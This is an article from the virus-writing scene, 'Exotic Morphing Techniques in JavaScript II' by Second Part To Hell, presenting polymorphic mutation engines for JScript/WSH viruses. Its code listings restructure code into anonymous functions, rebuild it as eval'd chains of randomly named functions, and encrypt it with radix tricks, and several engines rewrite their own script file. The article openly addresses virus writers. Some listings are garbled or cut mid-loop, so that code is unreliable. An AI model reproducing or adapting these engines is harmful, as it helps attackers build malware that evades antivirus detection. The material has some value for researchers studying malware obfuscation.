*********************************************** Exotic Morphing Techniques in JavaScript II by Second Part To Hell *********************************************** 0) Introduction 1) Anonymous Functions 2) Functional programming paradigm 3) Radix games 4) Conclusion 0) Introduction JavaScript is a beautiful language itself, and can be used for computer viruses as we all know in a simple way. jackie twoflower wrote the first JS polymorphism engine in 2001 (cant find the source - sorry); many years ago I have written two texts about that topic [1][2]; there have been several unconventional engines in recent years, for example roy g biv's [3][4] or hh86's [5] creations. In this text I present three different methods. The first methode changes the structure by introding anonymous functions for small logical parts of the code. The second and third part are novel polymorphic encryption engines. It seems to be possible to create a real self-recreating ("metamorphic") engine in JavaScript - I predict this to come true one fine day :-) 1) Anonymous Functions In 2011, hh86 has shown us a beautiful way to use functions in an anonymous way [6]. One can implicitly define variables or arrays as a function. This mutation engine parses itself, and defines part of the code as new anonymous functions or function-arrays: - - - for(i=0;i<10;i++) { WScript.Echo('Hello'); if(i>5) { WScript.Echo('VX'); WScript.Echo('s!'); } WScript.Echo(':-)'); } - - - This can be transformed into: - - - a=new Array(function(){WScript.Echo('VX');},function(){WScript.Echo('Hello');}) b=function(){WScript.Echo('s!');} for(i=0;i<10;i++) { a[1](); if(i>5) { a[0](); b(); } WScript.Echo(':-)'); } - - - or - - - a=new Array()(function(){ WScript.Echo('Hello'); if(i>5) { WScript.Echo('VX'); WScript.Echo('s!'); }},function(){WScript.Echo(':-)');}) for(i=0;i<10;i++) { a[1](); a[0](); } - - - and so on... Now the code - - - s=function(n){return(String.fromCharCode(n));} fillit=function(n) { RV=''; l10=5-Math.log(n)/2.3025; for(x=0;x1) { if(_code.substr(i,1)==s(123)) { _numBrak1++; } if(_code.substr(i++,1)==s(125)) { _numBrak1--; } } ElementStart=i; } if(_code.substr(i,1)==s(125)) { _numBrak1--; } if(_code.substr(i,1)==s(59)) { ParseInfo[InstPointer][ElementPointer++]=_code.substr(ElementStart,i-ElementStart+1); ElementStart=i+1; } i++; } InstPointer++; } for(i=0; i1){if(cc.substr(i,1)==s(123)){ nB1++;}if(cc.substr(i++,1)==s(125)){fjjcwcnsm();}}};wwnruqtbbj[1]();});});xyvvo=new Array(function(){vrlbq=new Array(function(){roiern[1]();});acqv=new Array(function(){xqtpr[0]();file.Write(NCo[0]);});});mdtgpmpuvazl[0]();acqv[0]();};eveymzmvouj();djojldonrowxm(); - - - 2) Functional programming paradigm Functional coding style, where the program consists of functions only. It it used for several computational-learning projects, and it has some advantage for calculation recursive defined functions such as the factorial. (See my text about infection of F# files as an example [7]) This paradigm can be used for a mutation engine too. In my example, the code is executed via 'eval', and the code is created by several function calls. For example: - - - WScript.Echo("Hello VXers!"); - - - can be written as - - - function ojcdq(){return('W')} function tzcpzbnwhtg(){return('Sc'+'rip'+'t')} function wcvuwwmtz(){return('("')} function wtjuexpfx(){return(wcvuwwmtz()+'He')} function ulungrnk(){return(''+'ho'+wtjuexpfx())} function lprsoom(){return('Xe')} function wyzqqqw(){return(lprsoom()+'r')} function nkwfmavxxuxl(){return(wyzqqqw()+'s!')} function xvqdwuu(){return('')} eval(ojcdq()+tzcpzbnwhtg()+'.Ec'+ulungrnk()+'llo'+' V'+nkwfmavxxuxl()+'")'+';'+xvqdwuu()); - - - After 2-3 few generations, the code is absolutly unreadable. See the engine: - - - function randomName(){rv="";tmp=Math.random()*10+3;for(j=0;j0.7) { newfnames.push(randomName()); newfuncts.push(str.substring(a[i],a[i+1])); newcode+=newfnames[newfnames.length-1]+"()+"; } else { newcode+=String.fromCharCode(89)+str.substring(a[i],a[i+1])+String.fromCharCode(89)+"+"; } } return(newcode.substr(0,newcode.length-1)); } fso=WScript.CreateObject("Scripting.FileSystemObject"); code=fso.opentextfile(WScript.scriptfullname).readall(); newfuncts=new Array(); newfnames=new Array(); allcode="eval("+func(code)+");"; while(newfuncts.length) { allcode="function "+newfnames.pop()+"(){return("+func(newfuncts.pop())+")}"+allcode; } while(allcode.lastIndexOf(String.fromCharCode(39))!=-1) { allcode=allcode.replace(String.fromCharCode(39),String.fromCharCode(89)+"+String.fromCharCode(39)+"+String.fromCharCode(89)) } while(allcode.lastIndexOf(String.fromCharCode(89))!=-1) { allcode=allcode.replace(String.fromCharCode(89),String.fromCharCode(39)) } WScript.Echo(allcode); file=fso.CreateTextFile(WScript.scriptfullname);file.Write(allcode);file.close(); - - - You have to remove line-breaks to get it working. 3) Radix games This idea is encryption based on different base-systems, such as binary, decimal, hexadecimal. JavaScript provides a function that transforms numbers to different base-systems (parseInt(m,r)). The idea comes from hh86, i just put together the code :) The engine is very simple, yet the outcome is pretty beautiful: - - - function d(m,r){return(String.fromCharCode(parseInt(m,r)));} c=String.fromCharCode(34); v="ns='s=new Array(';no='o=new Array("+c+"';for (i=0;i